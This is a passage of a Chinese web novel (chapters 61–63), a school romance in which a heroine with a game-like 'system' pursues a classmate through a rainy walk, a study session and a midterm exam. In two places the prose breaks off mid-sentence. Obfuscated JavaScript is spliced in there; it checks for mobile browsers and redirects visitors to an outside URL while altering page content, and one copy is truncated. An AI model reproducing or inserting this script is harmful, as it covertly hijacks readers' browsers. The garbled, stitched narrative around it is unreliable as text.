一曲结束她也没听清多少,好在任务算是完成了,更新成了“和男主一起讨论童年吧”。 池映雪调低音量,正要摘下耳机,手背忽然覆盖一层温热。 不止。 ……是灼热。 与冰冷的金属一里一外,对比鲜明。 手掌宽大干燥,掌心柔软地包裹住她的手。 “哟。” 李闻蝉站在她身后,隔着他的椅背俯首调侃。 “偷听?” 61. 第 61 章 女孩像是呆住了,从发旋到睫毛都静止。 李闻蝉轻扯嘴角,刚要松手,池映雪的手从他手掌中抽出来,将他的手按住。 一瞬间呼吸凝滞,手指的骨节僵硬,猝然升起无限的粉。 黑腕带之上,洁白的校服袖口在空气中浸润柑橘香气。 耳边的音调无比清晰,像高度近视多年的人忽然配上最合适的眼镜。 原来他耳中的歌声,是这个样子的。 池映雪怔神。 好美。 “……只有你能听得到。” “站在屋顶只对风说/不想被左右/本来讨厌下雨的天空/直到听见有人说爱我。” “知道不能太依赖/怕你会把我宠坏/你的香味一直徘徊/我舍不得离开……” [叮!攻略对象好感+2。] [当前男主好感:70。] 池映雪提前给家里的司机发过消息,来接她的车晚出发20分钟。 保姆车门前,李闻蝉手插在兜里,站在她身后。 池映雪的手搭在车门上,倏尔放下,回眸,被路灯晃了下眼。 李闻蝉站在街灯白光下,刚戴上耳机,意外听见手机的消息音。 小雪:「还顺路吗?」 李闻蝉闷笑,摇了摇头。 池映雪嘴抿成一条线,飞速旋身上车。 黑压压的窗户反射灯的白,车轮滚滚,从一个圆消成一个点。 路灯下的少年绕着光走了两圈,空气里细小的尘飞舞,轻飘飘,亮晶晶。 他很释然地叹了一声,朝光的反方向,熟悉的地铁站踱去。 下。 上。下。 手指在26键轻敲三个字母,输入法弹出的文字排在几个名人之前。 李闻蝉:「池映雪。」 小雪:「?」 李闻蝉:「夏天不止有图书馆。」 「我是说,还可以去逛公园,在树下漫步。」 「绿树也不止光影一样东西可看,树上还有很多别的东西,比如鸟,比如一些昆虫,是吧?」 行驶的车上。 池映雪将手机平放在膝盖上。 窗外灯火向后仰,无数明媚的方形光格像横渡的流星。 有点晕车。 小雪:「所以你作文打算写什么喜欢的季节,也是夏天吗?」 大约快到家时,李闻蝉才回复。 「不。」 走进别墅,远远就能看见餐厅灯火辉煌。 一桌宵夜丰盛,炸烤、水果、甜点皆有。秦书、池润、池怀元都在,围着中心位的池鲤鲤,和乐融融,谈天说地。 池映雪的脚步顿了一拍,正要默默走过,秦书忽然起身,向她招手。 妈妈:「小雪,我们给你留了,一起来吃。」 哥哥:「打扫卫生辛苦了。」 捏着书包带的手发紧,心里有种难以言喻的感觉。 池映雪一步步走向餐桌,愈发匆促。 落座后,她面前果然有很多美味。 奶油蛋糕,糖醋鸡块,小排八鲜面。还有一杯甜牛奶。 池映雪安静地坐在池鲤鲤旁边的中心位,放下筷子。 她给自己打气。 今天的夜宵会吃完,但她想让家人们知道,她爱吃什么,不爱吃什么。 刚拿出手机,秦书摸摸她的头,收了起来。 「乖,吃饭不要玩手机哦。」 池鲤鲤目光流转,不等池映雪有反应,挑起话头,几人又开始新一轮言笑。 吃完,秦书在一家的群里发送合照,特地表扬了二人。 「鲤鲤今天真棒,知道照顾姐姐,说要吃宵夜的时候主动提议给她留一份,座位也是哦,小雪你看见了吗?爸爸妈妈最希望的就是你们两个相处得好好的。」 「还有小雪,饭吃得干干净净,也值得夸奖!」 系统嘟起嘴:[什么叫“留一份”呀,搞得好像是她礼贤宿主、让宿主的一样!] [明明宿主才是……] 瞥见池映雪淡淡的表情,它没再怒敲键盘。 可明明,这一切本来就该属于宿主,只属于她。不管是夜宵,座位,还是别的什么。 池映雪复习完今天的错题,不自觉走向阳台。 灌木冷绿,泳池被黑夜笼罩深深的润泽。草坪和行道空无一人,很是寂静。 曲径尽头,深红色的门微动。 心跳慢了一拍。 是风吹过。 池映雪收回眼,转身向房间走去。 没有开灯的黑暗中,手机屏幕散发荧光。 李闻蝉:「如果一定要说的话。」 李闻蝉:「我喜欢冬天。」 星期四,期中考前最后一天。 班上的氛围从一早就开始紧张,胡挚捧着物理书,靠在窗上背公式和天体定理。 “n=c/v,c是光速,光速……”他低头翻书,“多少来着?” “哎,怎么这么多要背的啊,蝉哥你中午吃什么?给点参考。” “我得去盛池一趟,陈秘订餐。” “行吧。” 窗外传来闷响,胡挚躯背一震,从窗户上弹开。 晨跑时的粉色云霞被阴云笼罩,淅淅沥沥的雨从天而降,冷空气湿润。 右边的黑色雨伞很醒目,随不知从哪漏进来的风微微晃动。 系统:[好可惜哦,宿主自己也有伞,不能和男主大人共撑一把了。] 池映雪眸光闪动:“想要撑一把伞,也不是不行。” 右侧的男生正在转笔,看样子是在思考难题,很是专注。 池映雪悄悄探身,眼疾手快地将同样挂在桌子左侧的红色小洋伞塞进抽屉。 “从现在开始,没有了。” 系统:[……6。] 右边。 旋转的黑笔在长指间极其细微地停顿几毫秒,重新恢复转动,速度比一开始慢了不少。 中午放学,一楼大厅的楼梯前,雨水从玻璃檐自上而下滑落,像透明的帘。 不断有伞在台阶的最上层撑开,几个没带伞的学生在这里等候。 池映雪站在他们旁边,不时向大厅里面眺望。 池映雪再次对系统确认:“你确定他已经下来了?我怎么看不见他,在楼梯间里面吗?” [不是呀。]系统纳闷,[这里显示,男主应该就在大厅啊。] 李闻蝉不见踪影,楼梯间突然走出一道洁白校服身影,两边的同学纷纷侧目。 是沈星桥。 有女生笑着凑上去打招呼,他也笑意温柔,还帮女生捡起因为撞到他而掉落的笔袋。 池映雪听万苏瑶说过这个人,属于沈星桥的“骨灰级”迷妹,甚至跟踪过他去过沈家别墅的门口。 被保安拦下来时还大喊自己是沈星桥的同学,实际上那次之后,沈星桥才知道有她这样一个人存在。 沈星桥越来越近,池映雪抬头看天花板。 再跑上三楼取伞太远,要是让他顺路送一程…… 还没有挪动脚步,低马尾被人从身后拉了一下。 很轻,很有存在感。 池映雪侧眸抬眼,撞见的就是一张没什么表情的脸。 李闻蝉的眼睛盯着几米开外。 “好看吗?” “好看到等了八分钟四十四秒。” 不仔细看,几乎看不出来他的嘴唇在阖动,字像是从上下齿的缝隙间挤出来的。 是在和她说话吗? ——还是说,他觉得谁好看。 雨气闷闷沉沉。 池映雪正想顺着他目光回头,被扶住肩膀,大力推向台阶的最边沿。 直到靠近扶手,棕榈叶投落隐蔽的阴影,才停下来。 下一秒,黑伞怦然撑开,在骨节分明的冷白色手指间尤其醒目。 李闻蝉抬手,临近她的脸。 池映雪不由自主地合眼。 啪。 清脆得像杯子里的冰,一声响指,被他打在距离她半指相隔的空气。 “回神,别想了。”清声没什么音调,淡淡念叨着,好像不在乎她能不能听见。 李闻蝉晃动手机,备忘录里几个大字显眼。 「你伞呢。」 池映雪向后退了小半步,指尖绞着指尖,掀起眼睨一眼他,瞳仁好黑,看上去像在憋着什么。 池映雪的手指缓缓点向被举在面前的屏幕。 「没带呀。」 “呵。” 手机坠入校服口袋,很贵的最新款,被他随意对待。 李闻蝉将伞换了只手,溢出声冷笑,“是吗。” [警告!攻略对象好感-1。] “进,来。” 黑伞微晃,他蹲身,平视开口。 “……”语气好差。 他不会看出她在撒谎吧。 池映雪睫毛颤颤,双手背在身后,压住被风轻扬的百褶裙,走入伞下。 [叮!“和他共撑一把伞”任务完成,更新为:“让男主为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635281|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你洗手作羹汤吧”。] [任务提示:身为主角,征途是星辰大海、商场硝烟,自然无需亲自下厨,为柴米油盐折腰。 让这样的他为你从0学起,制作美味吧~] 系统及时补充,[由于宿主已经进入到好感度的高阶,所以以后的任务都要逐渐扩大背景,还有这样的提示哦!相应的,一次任务奖励增加到200字!] 任务界面升级,系统开心地更换皮肤,突然眨巴眨巴眼睛。 [咦。] [宿主,你这个“把男主写进作文”的任务什么时候完成的?] 她最近有写什么作文吗?不就一个英语的看图写话,还有语文那个和夏天有关的散文嘛? 这两个哪个能算男主大人? 池映雪低头看路,看脚尖,还有被踩出来的小水花和圆形水波纹。 因为…… 黑伞比他之前的透明伞大了不少。两个人并肩同行,一根伞柄从中分隔,同样白皙的手肘伸展自如,即便偶尔靠近,依旧有距离。 伞下的天地,一滴晶莹悬在黑色的伞骨最下端,将落不落。 低低的抱怨声响起:“……买大了。” 滴答。滴答。 耳边充盈雨水打在伞上的点滴声,清晰绵密,不知是否近似在书里见过的白噪音。 和着他的脚步走路,明明身高悬殊竟也恰好一致。鞋底踏在雨地,水花哗然,就和她听见自己的脚步声一样。 池映雪想。 因为夏天,有蝉啊。 “叮铃铃铃铃——” 自行车的车铃响起,轻易盖过周围一切杂音。 池映雪只能听见一点点微末的清脆声,她走在道路内侧,忽然被拽入清冽的怀中。 他怎么…… 风正好落下,水花溅起来,和她的裙摆鞋袜只相差几毫米。 李闻蝉扶好她,抬脚抵住即将驶过的自行车:“停。” 在人行道骑行的男生不耐回头。 同行二人显然不认得他,做出不以为意的神情,刚要掉头离开,离得近的那人被李闻蝉单手拎起衣领。 “听不懂话?” 自行车倒在地上。 男生的气焰瞬间不见踪影,和另一人一起唯唯诺诺。 李闻蝉:“以后别在人行道骑车,按铃也不行。现在,道歉。” 李闻蝉放下人,男生连忙落地,咳了好几声,点头哈腰。 “不是对我。” “你们差点撞到人家了,懂吗?鞠躬,道歉。”再次强调。 在李闻蝉冷淡的凶色下,他们双手合十,好大的阵仗。 池映雪受了两个男生一拜,好些行人侧目,她脸微微红,轻扯李闻蝉的校服衣角。 “…………” [叮!攻略对象好感+1。] 李闻蝉:“赶紧走,别在这碍眼。” 二人落荒而逃。 池映雪将碎发别到耳后。 伞重新在雨幕中移动,因为刚才的小插曲,他们行走时靠近。 手臂不经意相碰,皮肤和皮肤。 袖口和袖口。 裙摆被风吹起,若有若无搭近黑色的校服裤。 空气里氤氲湿润的、雨天独有的味道。 还有一种味道,更熟悉,更近。 ——是他的味道。 风停。 雨从伞骨滴下来。 伞柄不动,手肘拉远,裙摆不再飘扬,冷白色的手臂一下子变回从前的距离。 下午上课前,池映雪无精打采地趴在课桌上记固定搭配。 后门开合,发出轻轻声响。 风流涌动,裹挟少年身上干净清爽的沐浴香,李闻蝉抓了把额前黑发,最底部还没干透,润泽柔顺。 他落座的幅度很小,像怕风掀起。 胡挚回头吹了个口哨,以表欢迎。 “来了。” “……蝉哥,你在干嘛?” 李闻蝉的鼻尖停止耸动,只一瞬,又抬起手腕和运动外套深嗅。 瞳孔不易察觉地朝左边移动,凝神竖耳,良久才喘口气,“没事。” 反正他最近奇怪的地方不止这一两处,胡挚噢了一声,转回去。 不出五秒,一根笔戳向他的背。 胡挚再回首。 他蝉哥那张帅脸凑得很近,浓眉蹙起,唇抿成一条线,支支吾吾好半天,挤牙膏一样启齿。 “…………我身上,有什么‘味道’吗?” 胡挚:? 62. 第 62 章 明天就是期中考。选修课的教室,桌面上都摆放着各种习题试卷。 池映雪抱着Stella特别为她准备的固定搭配表走进美术教室。 总是踩点进来的老师来得格外早,优雅地坐在不知从哪搞来的设计感软椅上,背后的黑板写有两行字。 知道你们要考试。 所以,自习,下次课我们画油画,OK? 池映雪莞尔,朝教室左后排走。 熟悉的座位,双人同排,靠近微风拂进的后门。 系统:[嘿嘿,宿主,检测到男主大人已经在往这边来了哦!] 固定搭配表放在桌上,不小心倾斜。 [自从……咳咳,反正自从男主大人不迟到早退之后,总是和宿主做同桌呢,今天也一定不会例外~] 池映雪的嘴角翘起来短短一瞬,很小的弧度,被她藏起来。 “……谁知道呢。” 吱—— 教室门开,修长的身影散漫走入。 银色耳机靠在后颈,手夹一本数学习题。又是她在最后排,他在教室前端,遥相对视。 顶灯落在他身上。 李闻蝉将耳机戴好,低着眉眼,淡淡神色,走向与她对角线的教室右侧前排。 凳子拉响。 声音暂停。 落座,凳子拉回,习题册坠在桌面,发一声闷响。 池映雪对系统尴尬地笑了笑:“你看。” “我就说。” 系统只得宽慰她:[没关系,好感度没降……] “无所谓。”池映雪的手指点在英文的印刷体上,“怎样都好,反正妈妈已经预约了下周的听力检测,没问题的话。” “就告一段落了。” 修剪得圆圆的粉色指甲,在白纸上朝内刻出一条细小的竖线。 “这样下去,本来也不像话。” 「小雪——」 手机震动,是前不久认识的孟心词。 心词:「你怎么一个人坐呀,我来找你一起坐好不好?」 池映雪抬眼,孟心词正抱着厚厚的教辅,在教室右前方对她招手。 她身后不远就是男生挺阔的背,像一棵清冷的松,分毫不动。 小雪:「好呀,你愿意的话。」 孟心词清丽的脸蛋挂上甜笑,小跑而来。 池映雪对孟心词最大的了解来自万苏瑶的讲述,还有在之前解锁剧情时的只言片语。由于和感情线、亲情线都无关,她只在细枝末节出现,还是池映雪记性好,才没有遗忘。 作为池鲤鲤的头号对手,孟心词的成绩略逊一筹,只在年级十名徘徊。 但池鲤鲤精通的钢琴、舞蹈和外语,孟心词同样优异,还在一场大赛中胜过她。 而且,她长得也非常漂亮。 如果说池鲤鲤精致娇俏,善于打扮,那么孟心词就是清新脱俗,天然去雕饰。 池映雪单纯欣赏地注视她,孟心词脸微红,悄悄给万苏瑶发消息。 心词:「拜托,你有池映雪这样的朋友,怎么还会为你爱豆那个山猪伤心!」 瑶瑶:「?」 心词:「被她多看几眼,我都要坠入爱河了……」 瑶瑶:「你最好是。」 瑶瑶:「你可能天生和池家的人有缘。和池鲤鲤孽缘,又被小雪还有李闻蝉吸引。」 「话说,你现在还喜欢他么?」 聊天时,孟心词没特地避开池映雪,反而和她贴贴。 池映雪不可避免地看见了她的屏幕。 有那么一瞬间,她的身体僵硬,原本和孟心词靠在一起的鞋尖不自主挪了个方位。 看到人家隐私不好,池映雪赶紧转头,动作似乎不可避免地有点大,孟心词向她看来。 心词:「喔~你看到了呀。」 池映雪睫毛颤抖:「抱歉,我不是故意的。」 「嘿嘿。」孟心词发来一个摸头的表情包,「我知道。」 「其实没关系啦,反正好多人都知道。」 孟心词苦恼地撩着披发。 「初二那年运动会,那谁到我们班找胡挚说话,那脸,那身段,我一下就……」 「本来打算暗恋的,没想到让池鲤鲤邢芷那伙人知道了,闹得人尽皆知,我就改明恋了。什么送水、送吃的、写情书,以前只有别人追我的份,风水轮流转呀!」 池映雪望着屏幕发呆。 实在想象不到,这么优秀的女孩子也会这样追求别人。 但她追求的人,又是…… 小雪:「那你…」 「我。」 孟心词冷哼一声,「本大小姐,至今没有加上那家伙的好友!」 「送东西不要!问问题他一句“不会”打发!」 「想找他人,要么迟到早退不在座位,要么趴桌上睡觉!!」 就在刚刚,她才第一回和他正面说上话。 她这个公认大美女温声说:“你好同学……” “不能坐。” 李闻蝉看都没看她,伸出根手指轻点教室空旷的左后方。 所以孟心词才一眼就看见了同样落单的池映雪。 孟心词气呼呼打字:「算了,反正我已经看透了,李闻蝉估计天生就是冷心冷情,对谁都那个凶样子,活该他没朋友!没女朋友!」 鞋尖轻盈地放松。 池映雪睨向右前方向的背影。 冷吗? 也许吧,尤其是一开始认识的时候。 但就像银白色的金属耳机一样,外壳坚硬冰冷,里面却是柔软亲肤的。 让同样软的耳朵,有温暖的触感。如果不是蒋傅等人,他可能连那层外壳都没有。 身为朋友,她该帮李闻蝉解释。以亲身经历来看,他这样的人,只要怀着真心结交,一定能够成为朋友……甚至以上。 池映雪的手指在键盘上方停滞良久,却始终没有敲下。 只要想到孟心词也站在李闻蝉身边的画面,心里就空空的。 她忽然问:“统,你觉得孟同学好看吗?” [孟心词?我不懂你们人类的审美,按理来说是很好看。] 系统:[——毕竟,这可是能与小世界“女主角”抗衡的名角色嘛。] 微积分的选修课上,自由问答时间,沈星桥一直找池映雪讨论数学难题,二人连喝口水的功夫也没有。 他看上去真的很在乎这次期中考。 [就像宿主之前猜的那样,沈星桥肯定没问题的。] 反正解锁过的剧情里有过描述,系统大摇大摆地重述,[小说里他可是蝉联三年的年级第一,虽然在竞赛和省队的保送名额差了一名,但全科强得太均衡,难怪叫“沈神”呢。] 不过剧情肯定不会让他保送的,否则和池鲤鲤的校园感情线怎么开展。 一道典型的变体讨论完,沈星桥终于停止思维发散,转过身整理。 干净清秀的字迹,构成满当当的错题笔记。 池映雪在旁边看着,大加赞叹。 沈星桥笔尖停在纸上,侧眸拿手机,手肘恰好压住正在写的那道错题——池映雪刚刚演算给他的。 「似乎没有见过你用错题本。」 沈星桥在草稿纸上写道,「我觉得很有效果。」 写完,他不知在想什么,没有立即推纸过去,但池映雪已经看见内容。 池映雪不由汗颜。她仗着记性还可以,错过的题基本不会错第二遍,所以从没做过这种东西。 “神”都这么努力。 她决定今晚回家后加练一套提高卷。 沈星桥偏头打量,明悟了她过于明显的心虚神色。 看来是用不上。 “………” 他薄唇轻动。 为了讲题,他们本就比正常的同桌距离更近一点,池映雪耳边落下似有似无的凉风。 说了什么话,她没太确定,因为紧接着就有人来打断沈星桥的自语。 是那个女生——万苏瑶口里的“私生饭”,就是狂热追星的粉丝。 女生不知何时与沈星桥另一侧的一班男生换了个位置,离他很近说话,脸上的笑让人见了有些不舒服。 沈星桥好脾气地回应。 池映雪很会读空气,敏锐地嗅到他身上与平时不一样的疏离。 出于交谈礼仪,沈星桥上半身旋过去,正对女生作答。膝盖和小腿却远离,逐渐偏向池映雪的位置。 自由时间结束。 微积分老师不像美术老师那么散漫,依旧按照教学进度授课。沈星桥不易察觉地拂过校服袖下不适的皮肤,对女生轻笑:“听课吧。” 他转回的方位,传来张小小的纸条。 沈星桥手臂上的颤栗感瞬间消散,小心地展开。 「不想交的朋友,为什么要勉强呢。」 静默许久。 等新例题快讲完,池映雪收到回复,从桌子下面悄悄递来。 「也许是因为不想让别人失望。」 「对所有人都好,满足他们的期待,就会得到相应的喜爱和认可。所以,我不会拒绝。」 清隽字迹,写的话却不如外表那样从容。 池映雪觉得她今天才第一次真的认识沈星桥。 莫名想到了那个最近很奇怪的家伙。 “认可”。其实,她到现在都没有想明白他为什么会认可她。 她努力的那些事——送他吃的、帮他手洗衣服……他好像都没什么反应,就算有,也是叫她不要再做。 就好像她不用努力,不用琢磨如何攻略。 也会被他认可。 一直没有纸条再传过来,沈星桥盯题的眼神涣散。 终于,雪白的长条上黑色笔迹工整:「可你不累吗?」 沈星桥的眸骤然缩紧,呼吸变缓。 放学,池映雪背上她的红色皮质小书包。 因为要留出布置考场的时间,所以晚自习取消。下午体育课的时候,她们年级的学生就已经清空桌面的书本,收拾好书包,下午最后一节课上完就离校备考。 趁着在门口等人流疏散,系统冒出来问她:[宿主最后问沈星桥的话,什么意思呀?] 池映雪摇头。 “其实我也不知道。”她坦白道,“我就是觉得……学不会拒绝别人,总是渴望认可,或许真的很累。” 人流缓缓向前。 池映雪迈步:“我忽然发现我和沈星桥挺像的。” 隐隐约约,有什么想法即将破土而出。 手机屏幕不住地弹出消息。 刚才上课,前半节讲题,后半节神游,池映雪没空看手机。企鹅里的消息弹个不停,身处一脚踏在门内外的拥挤处,她耳边太杂乱,和听不见时没有区别,所以也不敢分心。 终于有一丝空隙,池映雪划开最新弹出的小红点。 心词:「听了你的话,我又去发了一遍好友申请!」 心词:「你猜怎么着?那个谁真的通过了耶……」 池映雪差点没站稳。 好不容易钻出人群,她也没精力思考走出去的事,直接转过身背对依旧向前的队伍,左手攥紧红书包的肩带。 皮革材质,硌得人手疼。 「那很好呀|」 光标停在这里。 消息没发出去。 [我还是不明白。]系统趴在手机屏幕上,阅读之前的聊天记录,[宿主大人既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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池映雪很有点不地道地牵起嘴角,发送“摸摸”的表情。 哼气音自头顶传来。 带着那么些许不服气:“有什么好摸的。” 池映雪下意识抬眼,却被笼罩进一片阴影。 李闻蝉的手显然在空中有个极其不自然的停顿,生硬转折回去,骨骼都发出清脆响声。 视线再次交汇。 他又猛然朝后拉开距离。 李闻蝉不知是真的还是表演尴尬,抬手摸上鼻尖,宽大手掌遮掩,隐蔽地嗅了嗅。 一股新买的护手霜味,甚至浓得有些过头。 李闻蝉这才满意,忍住被呛出来的喷嚏,摸出手机:「现在知道看企鹅了。」 「(右哼哼)不知道上课在干嘛啊,那么专心,一条消息也不回。(左哼哼)」 池映雪毫无自觉地微鼓起脸。 他也知道是上课啊。 李闻蝉哼哼唧唧的小表情一僵。 “咳咳!” 「反正不自习,虎子他们说想去找家肯爷爷一起复习讲题。」 「一起。」 也好。毕竟她回家的话,池家的饭桌上因为哥哥和池鲤鲤再三强调,口偏甜,多肉排。 池映雪吃的少,倒能吃下去。刚回家的时候发消息提过,也许他们忘了,再后来就是那次夜宵间,最终也没能说出口。 下楼梯,人又多起来。 池映雪按灭屏幕,最后看了一眼和孟心词的聊天,缩起脑袋。 手指在下面悄悄探出。 一厘米,再一厘米。 ——李闻蝉校服外套的口袋边边被捏住。 少年明显的喉结上下滚动,上下唇抿起来,像在压着什么。 正逢有人逆流而上,李闻蝉朝外侧身,不可避免避开与池映雪相贴,却伸长手臂,以一种别扭的姿势护住她。 只是一脚没踏稳,手臂摇曳,校服袖子蹭上池映雪的鼻尖。 雪白的柔软触感。 混着他独有的味道。 李闻蝉心跳骤停。 池映雪小而圆润的鼻子轻轻动,低垂着眼看路。 果然。 他身上好香。 哪怕是在人潮拥挤的楼梯间,专属于他的柑橘香,也是最引人注意的气味。 你上我下,你来我往。 连廊两边的楼梯道很宽阔,架不住学生们放一晚假,或急着去复习的热情。 人山人海的正中心,台阶上两道身影脚步骤然静止。 池映雪是跟着李闻蝉停的。 身后有人催促,李闻蝉如梦初醒,瞳孔还没从地震中平复过来,身体先一步作出反应,拉住她的手腕向下疾行。 好感度的屏幕在他奔跑的背影后弹起。 [叮!攻略对象好感+3。] [当前男主好感:73。] 肯爷爷门外。 玻璃倒影李闻蝉的脸,没什么表情,挠了下后颈,率先推门。 一个跨步迈进去,却还记得停下,帮后面的池映雪撑住把手。 恰好,袖子再次擦过她鼻尖。 章子健早在二人进门前就看见,朝他们招手。 胡挚立马从苦思冥想中抬头,嘴里叼着根薯条,这次没功夫蘸东西。 李闻蝉在他身边坐下,一言不发,两手撑着膝盖。 胡挚看看物理题,又看看他。 胡挚身体左移,对章子健说悄悄话:“你看蝉哥的脸。” 章子健和他一道身子往后仰,那张看一次感慨一次的俊脸红得很扎眼。 胡挚:“刚刚进门,蝉哥的脸‘嗖’一下就红了,速度有三乘以十的八次方那么快。” 63. 第 63 章 章子健:“不要忘记单位,米每秒。” “噢……”胡挚低头一看,得,果然等号后面一个都没写。 他一边补,一边凑近问章子健:“你说蝉哥脸红什么?这家肯爷爷里有美女?” 章子健:“…………” 章子健鬼使神差地看向斜对面恰好落座的池映雪。 校服套装,红书包,从内抽出装订整齐的复习资料。 再看李闻蝉,也是一身校服——竟然是校服。 扣子还扣得整整齐齐,甚至打了领带。 章子健目光流转,在池映雪低落下垂的睫毛停留一两秒,将胡挚身前的盒装巧克力百奇棒顺手往女生们的方向推了推:“你什么时候见你蝉哥见色眼开过。” 胡挚:“那是!前有孟女神,后有霸王花,我蝉哥坚如磐石,岿然不动!” 章子健扶了一下眼镜。 “倒也不一定岿然不动……” 池映雪和李闻蝉两个人来得最晚,一排就这么多凳子,只能面对面坐。 李闻蝉做完上半张卷子,把试卷纸上移,和池映雪草稿纸的卷边相触。 池映雪将百奇棒咬得咔咔响。 窣窣。 草稿纸被她拉开,用手臂压着,洁白的桌面露出一条横空地。 李闻蝉:“……啧。” 宽阔的手遮住额头,碎发垂下,看不见神色,唯有嘴里蓄一小团气鼓起,随着鼻腔哼气瘪下去。 一会调整坐姿,一会弯腰一会挺直背,一字不落,黑笔倒转得很快。 不多久,池映雪收到张小纸条,从对面推到中间的空地。 「笨蛋蘑菇。」 「真的生气了?」 虎牙磨呀磨。 小纸条被攥成很惨烈一团,捏在手心。 刚才下楼后。 李闻蝉站在机车前,照例先递给她一个头盔。 头盔里有他的手机,屏幕亮着,黑体字十分显眼。 「你还记得之前在酒店答应我的事吧?我们的赌注。」 「好学生不要早恋。」 池映雪不抬头也能感受到对面的强烈视线,她微微脸热,好像一只涨起来的气球,被他的黑笔随便戳了个小孔。 她哪里有。 他怎么会这样说?而且是第二次了。 说她早恋,难道他觉得她喜欢他吗? 所以才让她及时止损,就和他对孟同学那样。 那“好感”又算什么?小叔和便宜侄女? 池映雪扯下一张便签纸,唰唰动笔,扔回去。 肯爷爷里很吵,李闻蝉脑子乱糟糟。 笔已经快转出火星,终于停下,眼疾手快地接住纸团摊开。 「我没早恋,没有喜欢的男生。」 「我只是想当朋友而已,你不要多想了」 字体乱七八糟。 “了”写得和条竖线一样,后面的句号都遗忘,不知道写的人有多心虚。 一低眸就能看见的草稿纸上,墨迹工整秀婉,对比鲜明。 李闻蝉脸上写满两个字。 不信。 他还叹了口气:“就那么喜欢……” 真是烦死了。 池映雪不想看他,头埋得更低。 第二天期中考,仿照高考将学生随机分配到各个考场。 前一天肯爷爷里,池映雪就和其他人对过准考证条,其他人都在教学楼,只有她被分在综合楼。 池映雪并不意外,尤其是在考场里见到池鲤鲤、邢芷和沈星桥的时候。 系统精准点评:[期中考试这种重点剧情,宿主当然会和女主角她们共同出现。] 今天一早,池鲤鲤和秦书说她向齐幂领了组织考场纪律的差事,所以没有和池映雪一起坐车来。 甚至说这话时,在早饭餐桌上,她都始终低头。 包括现在。 池映雪一进教室,池鲤鲤就把邢芷拉出去。学院风针织套装和池映雪一样,不同颜色,手里拿着纸,应该是去洗手间。 记得刚开始,池鲤鲤总会脸色不善地瞪着她身上同款的衣服配饰,隔天就故意当着她的面丢给阿姨穿,自己去买别的大牌。 可不知为何,池映雪已经有一段时间没见过池鲤鲤穿着与她不一的衣服了。 池映雪放下书包,收回眼,正好和沈星桥对视。 他们的座位有点远,“主角团”在前排,池映雪在最后面。 沈星桥停止和来问阅读技巧的男生说话,对她微笑,晃了晃手里的语文课本。 池映雪微微颔首,迅速垂眸,盖住稍显复杂的眼神。 笃笃。 两声敲门。 李闻蝉靠在门边,手还没来得及收回,悬在半空。 四目相对,他的眉骨微抬,溢出声意外的淡笑,轻拍刚拦下的门口考生:“不好意思,不用喊了。” 早晨的清阳落了满身,李闻蝉顺势用这只手冲池映雪招了招。 池映雪眯起眼,用刚取出来的背诵册子遮住下半张脸,慢悠悠地旋回身。 李闻蝉:“……” 他是真的惹到她了。 李闻蝉瞪了一眼远处的沈星桥,没好气地大步迈进教室。 正在向沈星桥请教如何临阵磨枪的男生讶异:“李闻蝉不在我们考场吧!” “嘘!”有人捂他的嘴,“别掺和他的事,那可是个狠角色!” “而且你看他那架势,那黑脸,恐怕是来寻仇的……” “嘶——他是不是朝那个转校生的方向去了?!” 果不其然。 修长的背影在最后一排前停下。 却见那浑身锐气收敛,宽肩低下,弯腰凑近垂首看书的女生,从黑色斜挎包里掏出一盒巧克力奶。 池映雪不为所动。 李闻蝉又推过来一包抹茶饼干,不知道从哪淘来的,居然是小雪花的形状。 他身高腿长的,站在过道靠近她桌子的地方,也不说话,就眼巴巴地盯她。 池映雪前排的同学捏着准考证姗姗来迟,一看见李闻蝉,吓得不敢上前。 池映雪把小册子一拍,叹了口气,拉着眼睛亮起来的李闻蝉走向阳台。 本来是想教育他扰乱人家考场纪律的。 可是,对上那双黑亮狭长的眼睛,手机屏幕上的文字往回删,重新浮现。 池映雪:「你来干什么。」 嚯。 这语气。 生硬。冷漠。 李闻蝉微偏着头,手放在后颈按揉两下,哼了一声。 “行。” “这么不欢迎我。”他随意靠在阳台的栏杆,轻声嘟囔,“亏我还担心某人又吃不好。” ……虽然他跑到这边来也不止这一个原因。 池映雪眼珠转了转。 他知道她家里做的饭不合胃口? 不过碰巧,今天的早点她很喜欢。 手工麻团配上甘中清苦的梨汤,似乎和之前师傅的风格很不一样。 李闻蝉恰好道:“也是。反正你以后都吃的惯了。” 他忽然站直,俯身与她平视一眼,插着兜走了。 李闻蝉:「专心考试。」 池映雪这才发现离开考只剩15分钟,预备铃应该正在打响。 说起来—— 早餐的那碗梨汤,和中秋家宴在池老爷子那里喝的很像。 开考前两分钟,两位监考老师手提密封袋,将门外背诵的学生们赶入考场。 坐得整整齐齐的考场里,池映雪从笔袋里抽出填涂笔和黑色中性笔。 她的文具是回家后秦书一手添置的,为了表示一视同仁,全部和池鲤鲤一个款式。 只是池鲤鲤的书包颜色是限定款,秦书只好买对应的红色书包给她;笔袋倒是完全一致,白底粉格,里面有个小夹层。 与此同时,池鲤鲤在前排如坐针毡。 额角冒出了冷汗,因为常年练舞和钢琴的直挺脊背稍稍弯曲,下巴收起。 邢芷在右侧位置轻咳,朝她使眼色。 池鲤鲤看了一眼桌面上与池映雪一模一样的笔袋,回忆起刚才在走廊里看见的一幕。 她和邢芷从洗手间出来,沿阳台朝考场走,池映雪和李闻蝉面对面站在一起。 之前还期待着池映雪不知轻重,把这位爷惹火了,谁也保不了她。 可是她看见什么? 那个气势逼人、传闻多到令人生畏的大少爷,手撑在弯曲的膝盖,弯下腰,偏着脑袋凑近池映雪。 面色不算好看,可说不清是不是早晨阳光照射的原因,眼睛里面的光是柔和的。 铃声打响,李闻蝉走了,池映雪又在阳台站了一会才悠悠然回到教室。 